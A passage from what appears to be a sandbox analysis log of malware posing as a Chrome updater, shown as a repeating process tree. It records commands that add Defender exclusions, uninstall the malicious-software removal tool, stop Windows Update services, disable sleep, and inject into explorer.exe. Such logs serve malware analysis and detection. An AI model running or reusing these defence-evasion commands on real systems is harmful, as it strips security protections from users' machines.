                                                                                                                    C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                                                                                                    2⤵
                                                                                                                      PID:3644
                                                                                                                    • C:\Windows\system32\conhost.exe
                                                                                                                      C:\Windows\system32\conhost.exe
                                                                                                                      2⤵
                                                                                                                        PID:5832
                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                                                                                          3⤵
                                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                                          • Drops file in System32 directory
                                                                                                                          • Modifies data under HKEY_USERS
                                                                                                                          PID:1536
                                                                                                                        • C:\ProgramData\Google\Chrome\updater.exe
                                                                                                                          "C:\ProgramData\Google\Chrome\updater.exe"
                                                                                                                          3⤵
                                                                                                                          • Drops file in Drivers directory
                                                                                                                          • Executes dropped EXE
                                                                                                                          • Drops file in System32 directory
                                                                                                                          • Suspicious use of SetThreadContext
                                                                                                                          PID:1280
                                                                                                                          • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                            C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                                                                                            4⤵
                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                            • Drops file in System32 directory
                                                                                                                            • Modifies data under HKEY_USERS
                                                                                                                            PID:1628
                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                            C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                                                                                                            4⤵
                                                                                                                              PID:1368
                                                                                                                              • C:\Windows\system32\wusa.exe
                                                                                                                                wusa /uninstall /kb:890830 /quiet /norestart
                                                                                                                                5⤵
                                                                                                                                  PID:2504
                                                                                                                              • C:\Windows\system32\sc.exe
                                                                                                                                C:\Windows\system32\sc.exe stop UsoSvc
                                                                                                                                4⤵
                                                                                                                                • Launches sc.exe
                                                                                                                                PID:5404
                                                                                                                              • C:\Windows\system32\sc.exe
                                                                                                                                C:\Windows\system32\sc.exe stop WaaSMedicSvc
                                                                                                                                4⤵
                                                                                                                                • Launches sc.exe
                                                                                                                                PID:3092
                                                                                                                              • C:\Windows\system32\sc.exe
                                                                                                                                C:\Windows\system32\sc.exe stop wuauserv
                                                                                                                                4⤵
                                                                                                                                • Launches sc.exe
                                                                                                                                PID:5484
                                                                                                                              • C:\Windows\system32\sc.exe
                                                                                                                                C:\Windows\system32\sc.exe stop bits
                                                                                                                                4⤵
                                                                                                                                • Launches sc.exe
                                                                                                                                PID:2388
                                                                                                                              • C:\Windows\system32\sc.exe
                                                                                                                                C:\Windows\system32\sc.exe stop dosvc
                                                                                                                                4⤵
                                                                                                                                • Launches sc.exe
                                                                                                                                PID:2516
                                                                                                                              • C:\Windows\system32\powercfg.exe
                                                                                                                                C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                                                                                                                4⤵
                                                                                                                                  PID:1132
                                                                                                                                • C:\Windows\system32\powercfg.exe
                                                                                                                                  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                                                                                                                  4⤵
                                                                                                                                    PID:4264
                                                                                                                                  • C:\Windows\system32\powercfg.exe
                                                                                                                                    C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                                                                                                                    4⤵
                                                                                                                                      PID:1492
                                                                                                                                    • C:\Windows\system32\powercfg.exe
                                                                                                                                      C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                                                                                                                      4⤵
                                                                                                                                        PID:4956
                                                                                                                                      • C:\Windows\explorer.exe
                                                                                                                                        explorer.exe
                                                                                                                                        4⤵
                                                                                                                                          PID:4664
                                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                                                                                                        3⤵
                                                                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                                                                        • Drops file in System32 directory
                                                                                                                                        • Modifies data under HKEY_USERS
                                                                                                                                        PID:5696
                                                                                                                                      • C:\ProgramData\Google\Chrome\updater.exe
                                                                                                                                        "C:\ProgramData\Google\Chrome\updater.exe"
                                                                                                                                        3⤵
                                                                                                                                        • Drops file in Drivers directory
                                                                                                                                        • Executes dropped EXE
                                                                                                                                        • Drops file in System32 directory
                                                                                                                                        • Suspicious use of SetThreadContext
                                                                                                                                        PID:5152
                                                                                                                                        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                                                                                                          4⤵
                                                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                                                          • Drops file in System32 directory
                                                                                                                                          • Modifies data under HKEY_USERS
                                                                                                                                          PID:4680
                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                          C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                                                                                                                          4⤵
                                                                                                                                            PID:1368
                                                                                                                                            • C:\Windows\system32\wusa.exe
                                                                                                                                              wusa /uninstall /kb:890830 /quiet /norestart
                                                                                                                                              5⤵
                                                                                                                                                PID:5484
                                                                                                                                            • C:\Windows\system32\sc.exe
                                                                                                                                              C:\Windows\system32\sc.exe stop UsoSvc
                                                                                                                                              4⤵
                                                                                                                                              • Launches sc.exe
                                                                                                                                              PID:5064
                                                                                                                                            • C:\Windows\system32\sc.exe
                                                                                                                                              C:\Windows\system32\sc.exe stop WaaSMedicSvc
                                                                                                                                              4⤵
                                                                                                                                              • Launches sc.exe
                                                                                                                                              PID:6128
                                                                                                                                            • C:\Windows\system32\sc.exe
                                                                                                                                              C:\Windows\system32\sc.exe stop wuauserv
                                                                                                                                              4⤵
                                                                                                                                              • Launches sc.exe
                                                                                                                                              PID:5368
                                                                                                                                            • C:\Windows\system32\sc.exe
                                                                                                                                              C:\Windows\system32\sc.exe stop bits
                                                                                                                                              4⤵
                                                                                                                                              • Launches sc.exe
                                                                                                                                              PID:348
                                                                                                                                            • C:\Windows\system32\sc.exe
                                                                                                                                              C:\Windows\system32\sc.exe stop dosvc
                                                                                                                                              4⤵
                                                                                                                                              • Launches sc.exe
                                                                                                                                              PID:5664
                                                                                                                                            • C:\Windows\system32\powercfg.exe
                                                                                                                                              C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                                                                                                                              4⤵
                                                                                                                                                PID:4228
                                                                                                                                              • C:\Windows\system32\powercfg.exe
                                                                                                                                                C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                                                                                                                                4⤵
                                                                                                                                                  PID:532
                                                                                                                                                • C:\Windows\system32\powercfg.exe
                                                                                                                                                  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                                                                                                                                  4⤵
                                                                                                                                                    PID:976
                                                                                                                                                  • C:\Windows\system32\powercfg.exe
                                                                                                                                                    C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                                                                                                                                    4⤵
                                                                                                                                                      PID:2168
                                                                                                                                                    • C:\Windows\explorer.exe
                                                                                                                                                      explorer.exe
                                                                                                                                                      4⤵
                                                                                                                                                        PID:4676
                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                                                                                                                      3⤵
                                                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                                                      • Drops file in System32 directory
                                                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                                                      PID:6108
                                                                                                                                                    • C:\ProgramData\Google\Chrome\updater.exe
                                                                                                                                                      "C:\ProgramData\Google\Chrome\updater.exe"
                                                                                                                                                      3⤵
                                                                                                                                                      • Drops file in Drivers directory
                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                      • Drops file in System32 directory
                                                                                                                                                      • Suspicious use of SetThreadContext
                                                                                                                                                      PID:4276
                                                                                                                                                      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                                                                                                                        4⤵
                                                                                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                                                                                        • Drops file in System32 directory
                                                                                                                                                        • Modifies data under HKEY_USERS
                                                                                                                                                        PID:3788
                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                                                                                                                                        4⤵
                                                                                                                                                          PID:4500
                                                                                                                                                          • C:\Windows\system32\wusa.exe
                                                                                                                                                            wusa /uninstall /kb:890830 /quiet /norestart
                                                                                                                                                            5⤵
                                                                                                                                                              PID:1472
                                                                                                                                                          • C:\Windows\system32\sc.exe
                                                                                                                                                            C:\Windows\system32\sc.exe stop UsoSvc
                                                                                                                                                            4⤵
                                                                                                                                                            • Launches sc.exe
                                                                                                                                                            PID:5368
                                                                                                                                                          • C:\Windows\system32\sc.exe
                                                                                                                                                            C:\Windows\system32\sc.exe stop WaaSMedicSvc
                                                                                                                                                            4⤵
                                                                                                                                                            • Launches sc.exe
                                                                                                                                                            PID:2068
                                                                                                                                                          • C:\Windows\system32\sc.exe
                                                                                                                                                            C:\Windows\system32\sc.exe stop wuauserv
                                                                                                                                                            4⤵
                                                                                                                                                            • Launches sc.exe
                                                                                                                                                            PID:4412
                                                                                                                                                          • C:\Windows\system32\sc.exe
                                                                                                                                                            C:\Windows\system32\sc.exe stop bits
                                                                                                                                                            4⤵
                                                                                                                                                            • Launches sc.exe
                                                                                                                                                            PID:2208
                                                                                                                                                          • C:\Windows\system32\sc.exe
                                                                                                                                                            C:\Windows\system32\sc.exe stop dosvc
                                                                                                                                                            4⤵
                                                                                                                                                            • Launches sc.exe
                                                                                                                                                            PID:1132
                                                                                                                                                          • C:\Windows\system32\powercfg.exe
                                                                                                                                                            C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                                                                                                                                            4⤵
                                                                                                                                                              PID:976
                                                                                                                                                            • C:\Windows\system32\powercfg.exe
                                                                                                                                                              C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                                                                                                                                              4⤵
                                                                                                                                                                PID:1112
                                                                                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                  5⤵
                                                                                                                                                                    PID:4676
                                                                                                                                                                • C:\Windows\system32\powercfg.exe
                                                                                                                                                                  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                                                                                                                                                  4⤵
                                                                                                                                                                    PID:4744
                                                                                                                                                                  • C:\Windows\system32\powercfg.exe
                                                                                                                                                                    C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                                                                                                                                                    4⤵
                                                                                                                                                                      PID:4148
                                                                                                                                                                    • C:\Windows\explorer.exe
                                                                                                                                                                      explorer.exe
                                                                                                                                                                      4⤵
                                                                                                                                                                        PID:5760
                                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                                                                                                                                      3⤵
                                                                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                      • Drops file in System32 directory
                                                                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                                                                      PID:4340
                                                                                                                                                                    • C:\ProgramData\Google\Chrome\updater.exe
                                                                                                                                                                      "C:\ProgramData\Google\Chrome\updater.exe"
                                                                                                                                                                      3⤵
                                                                                                                                                                      • Drops file in Drivers directory
                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                      • Drops file in System32 directory
                                                                                                                                                                      • Suspicious use of SetThreadContext
                                                                                                                                                                      PID:3444
                                                                                                                                                                      • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                                                                                                                                        4⤵
                                                                                                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                        • Drops file in System32 directory
                                                                                                                                                                        • Modifies data under HKEY_USERS
                                                                                                                                                                        PID:5804
                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                                                                                                                                                        4⤵
                                                                                                                                                                          PID:3644
                                                                                                                                                                          • C:\Windows\system32\wusa.exe
                                                                                                                                                                            wusa /uninstall /kb:890830 /quiet /norestart
                                                                                                                                                                            5⤵
                                                                                                                                                                              PID:2368
                                                                                                                                                                          • C:\Windows\system32\sc.exe
                                                                                                                                                                            C:\Windows\system32\sc.exe stop UsoSvc
                                                                                                                                                                            4⤵
                                                                                                                                                                            • Launches sc.exe
                                                                                                                                                                            PID:5980
                                                                                                                                                                          • C:\Windows\system32\sc.exe
                                                                                                                                                                            C:\Windows\system32\sc.exe stop WaaSMedicSvc
                                                                                                                                                                            4⤵
                                                                                                                                                                            • Launches sc.exe
                                                                                                                                                                            PID:4412
                                                                                                                                                                          • C:\Windows\system32\sc.exe
                                                                                                                                                                            C:\Windows\system32\sc.exe stop wuauserv
                                                                                                                                                                            4⤵
                                                                                                                                                                            • Launches sc.exe
                                                                                                                                                                            PID:3640
                                                                                                                                                                          • C:\Windows\system32\sc.exe
                                                                                                                                                                            C:\Windows\system32\sc.exe stop bits
                                                                                                                                                                            4⤵
                                                                                                                                                                            • Launches sc.exe
                                                                                                                                                                            PID:5764
                                                                                                                                                                          • C:\Windows\system32\sc.exe
                                                                                                                                                                            C:\Windows\system32\sc.exe stop dosvc
                                                                                                                                                                            4⤵
                                                                                                                                                                            • Launches sc.exe
                                                                                                                                                                            PID:3876
                                                                                                                                                                          • C:\Windows\system32\powercfg.exe
                                                                                                                                                                            C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                                                                                                                                                            4⤵
                                                                                                                                                                              PID:2304
                                                                                                                                                                            • C:\Windows\system32\powercfg.exe
                                                                                                                                                                              C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                                                                                                                                                              4⤵
                                                                                                                                                                                PID:5936
                                                                                                                                                                              • C:\Windows\system32\powercfg.exe
                                                                                                                                                                                C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                                                                                                                                                                4⤵
                                                                                                                                                                                  PID:5544
                                                                                                                                                                                • C:\Windows\system32\powercfg.exe
                                                                                                                                                                                  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                                                                                                                                                                  4⤵
                                                                                                                                                                                    PID:4928
                                                                                                                                                                                  • C:\Windows\explorer.exe
                                                                                                                                                                                    explorer.exe
                                                                                                                                                                                    4⤵
                                                                                                                                                                                      PID:3868
                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                                                                                                                                                    3⤵
                                                                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                    • Drops file in System32 directory
                                                                                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                                                                                    PID:1664
                                                                                                                                                                                  • C:\ProgramData\Google\Chrome\updater.exe
                                                                                                                                                                                    "C:\ProgramData\Google\Chrome\updater.exe"
                                                                                                                                                                                    3⤵
                                                                                                                                                                                    • Drops file in Drivers directory
                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                    • Drops file in System32 directory
                                                                                                                                                                                    • Suspicious use of SetThreadContext
                                                                                                                                                                                    PID:4520
                                                                                                                                                                                    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                                                                                                                                                      4⤵
                                                                                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                      • Drops file in System32 directory
                                                                                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                                                                                      PID:2840
                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                                                                                                                                                                      4⤵
                                                                                                                                                                                        PID:5228
                                                                                                                                                                                        • C:\Windows\system32\wusa.exe
                                                                                                                                                                                          wusa /uninstall /kb:890830 /quiet /norestart
                                                                                                                                                                                          5⤵
                                                                                                                                                                                            PID:5084
                                                                                                                                                                                        • C:\Windows\system32\sc.exe
                                                                                                                                                                                          C:\Windows\system32\sc.exe stop UsoSvc
                                                                                                                                                                                          4⤵
                                                                                                                                                                                          • Launches sc.exe
                                                                                                                                                                                          PID:348
                                                                                                                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                            5⤵
                                                                                                                                                                                              PID:2368
                                                                                                                                                                                          • C:\Windows\system32\sc.exe
                                                                                                                                                                                            C:\Windows\system32\sc.exe stop WaaSMedicSvc
                                                                                                                                                                                            4⤵
                                                                                                                                                                                            • Launches sc.exe
                                                                                                                                                                                            PID:4956
                                                                                                                                                                                          • C:\Windows\system32\sc.exe
                                                                                                                                                                                            C:\Windows\system32\sc.exe stop wuauserv
                                                                                                                                                                                            4⤵
                                                                                                                                                                                            • Launches sc.exe
                                                                                                                                                                                            PID:5156
                                                                                                                                                                                          • C:\Windows\system32\sc.exe
                                                                                                                                                                                            C:\Windows\system32\sc.exe stop bits
                                                                                                                                                                                            4⤵
                                                                                                                                                                                            • Launches sc.exe
                                                                                                                                                                                            PID:6116
                                                                                                                                                                                          • C:\Windows\system32\sc.exe
                                                                                                                                                                                            C:\Windows\system32\sc.exe stop dosvc
                                                                                                                                                                                            4⤵
                                                                                                                                                                                            • Launches sc.exe
                                                                                                                                                                                            PID:540
                                                                                                                                                                                          • C:\Windows\system32\powercfg.exe
                                                                                                                                                                                            C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                                                                                                                                                                            4⤵
                                                                                                                                                                                              PID:3444
                                                                                                                                                                                            • C:\Windows\system32\powercfg.exe
                                                                                                                                                                                              C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                                                                                                                                                                              4⤵
                                                                                                                                                                                                PID:4360
                                                                                                                                                                                              • C:\Windows\system32\powercfg.exe
                                                                                                                                                                                                C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                                                                                                                                                                                4⤵
                                                                                                                                                                                                  PID:220
                                                                                                                                                                                                • C:\Windows\system32\powercfg.exe
                                                                                                                                                                                                  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                    PID:5464
                                                                                                                                                                                                  • C:\Windows\explorer.exe
                                                                                                                                                                                                    explorer.exe
                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                      PID:4152
                                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                    • Drops file in System32 directory
                                                                                                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                                                                                                    PID:5892
                                                                                                                                                                                                  • C:\ProgramData\Google\Chrome\updater.exe
                                                                                                                                                                                                    "C:\ProgramData\Google\Chrome\updater.exe"
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                    • Drops file in Drivers directory
                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                    • Drops file in System32 directory
                                                                                                                                                                                                    • Suspicious use of SetThreadContext
                                                                                                                                                                                                    PID:5676
                                                                                                                                                                                                    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                      • Drops file in System32 directory
                                                                                                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                                                                                                      PID:632
                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                        PID:4228
                                                                                                                                                                                                        • C:\Windows\system32\wusa.exe
                                                                                                                                                                                                          wusa /uninstall /kb:890830 /quiet /norestart
                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                            PID:4500
                                                                                                                                                                                                        • C:\Windows\system32\sc.exe
                                                                                                                                                                                                          C:\Windows\system32\sc.exe stop UsoSvc
                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                          • Launches sc.exe
                                                                                                                                                                                                          PID:1972
                                                                                                                                                                                                        • C:\Windows\system32\sc.exe
                                                                                                                                                                                                          C:\Windows\system32\sc.exe stop WaaSMedicSvc
                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                          • Launches sc.exe
                                                                                                                                                                                                          PID:2612
                                                                                                                                                                                                        • C:\Windows\system32\sc.exe
                                                                                                                                                                                                          C:\Windows\system32\sc.exe stop wuauserv
                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                          • Launches sc.exe
                                                                                                                                                                                                          PID:5764
                                                                                                                                                                                                        • C:\Windows\system32\sc.exe
                                                                                                                                                                                                          C:\Windows\system32\sc.exe stop bits
                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                          • Launches sc.exe
                                                                                                                                                                                                          PID:3772
                                                                                                                                                                                                        • C:\Windows\system32\sc.exe
                                                                                                                                                                                                          C:\Windows\system32\sc.exe stop dosvc
                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                          • Launches sc.exe
                                                                                                                                                                                                          PID:5880
                                                                                                                                                                                                        • C:\Windows\system32\powercfg.exe
                                                                                                                                                                                                          C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                            PID:3036
                                                                                                                                                                                                          • C:\Windows\system32\powercfg.exe
                                                                                                                                                                                                            C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                              PID:5048
                                                                                                                                                                                                            • C:\Windows\system32\powercfg.exe
                                                                                                                                                                                                              C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                PID:456
                                                                                                                                                                                                              • C:\Windows\system32\powercfg.exe
                                                                                                                                                                                                                C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                  PID:3008
                                                                                                                                                                                                                • C:\Windows\explorer.exe
                                                                                                                                                                                                                  explorer.exe
                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                    PID:676
                                                                                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                  • Drops file in System32 directory
                                                                                                                                                                                                                  • Modifies data under HKEY_USERS
                                                                                                                                                                                                                  PID:1620
                                                                                                                                                                                                                • C:\ProgramData\Google\Chrome\updater.exe
                                                                                                                                                                                                                  "C:\ProgramData\Google\Chrome\updater.exe"
                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                  PID:5444
                                                                                                                                                                                                                  • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                                                                                                                    PID:4264
                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                      PID:516
                                                                                                                                                                                                                      • C:\Windows\system32\wusa.exe
                                                                                                                                                                                                                        wusa /uninstall /kb:890830 /quiet /norestart
                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                          PID:2676
                                                                                                                                                                                                                      • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                        C:\Windows\system32\sc.exe stop UsoSvc
                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                        • Launches sc.exe
                                                                                                                                                                                                                        PID:6116
                                                                                                                                                                                                                      • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                        C:\Windows\system32\sc.exe stop WaaSMedicSvc
                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                        • Launches sc.exe
                                                                                                                                                                                                                        PID:5448
                                                                                                                                                                                                                      • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                        C:\Windows\system32\sc.exe stop wuauserv
                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                        • Launches sc.exe
                                                                                                                                                                                                                        PID:5436
                                                                                                                                                                                                                      • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                        C:\Windows\system32\sc.exe stop bits
                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                        • Launches sc.exe
                                                                                                                                                                                                                        PID:2024
                                                                                                                                                                                                                      • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                        C:\Windows\system32\sc.exe stop dosvc
                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                        • Launches sc.exe
                                                                                                                                                                                                                        PID:4712
                                                                                                                                                                                                                      • C:\Windows\system32\powercfg.exe
                                                                                                                                                                                                                        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                          PID:3512
                                                                                                                                                                                                                        • C:\Windows\system32\powercfg.exe
                                                                                                                                                                                                                          C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                            PID:5944
                                                                                                                                                                                                                          • C:\Windows\system32\powercfg.exe
                                                                                                                                                                                                                            C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                              PID:5784
                                                                                                                                                                                                                            • C:\Windows\system32\powercfg.exe
                                                                                                                                                                                                                              C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                PID:5632
                                                                                                                                                                                                                              • C:\Windows\explorer.exe
                                                                                                                                                                                                                                explorer.exe
                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                  PID:5536
                                                                                                                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                PID:2516
                                                                                                                                                                                                                              • C:\ProgramData\Google\Chrome\updater.exe
                                                                                                                                                                                                                                "C:\ProgramData\Google\Chrome\updater.exe"
                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                  PID:3520
                                                                                                                                                                                                                                  • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                    PID:5640
                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
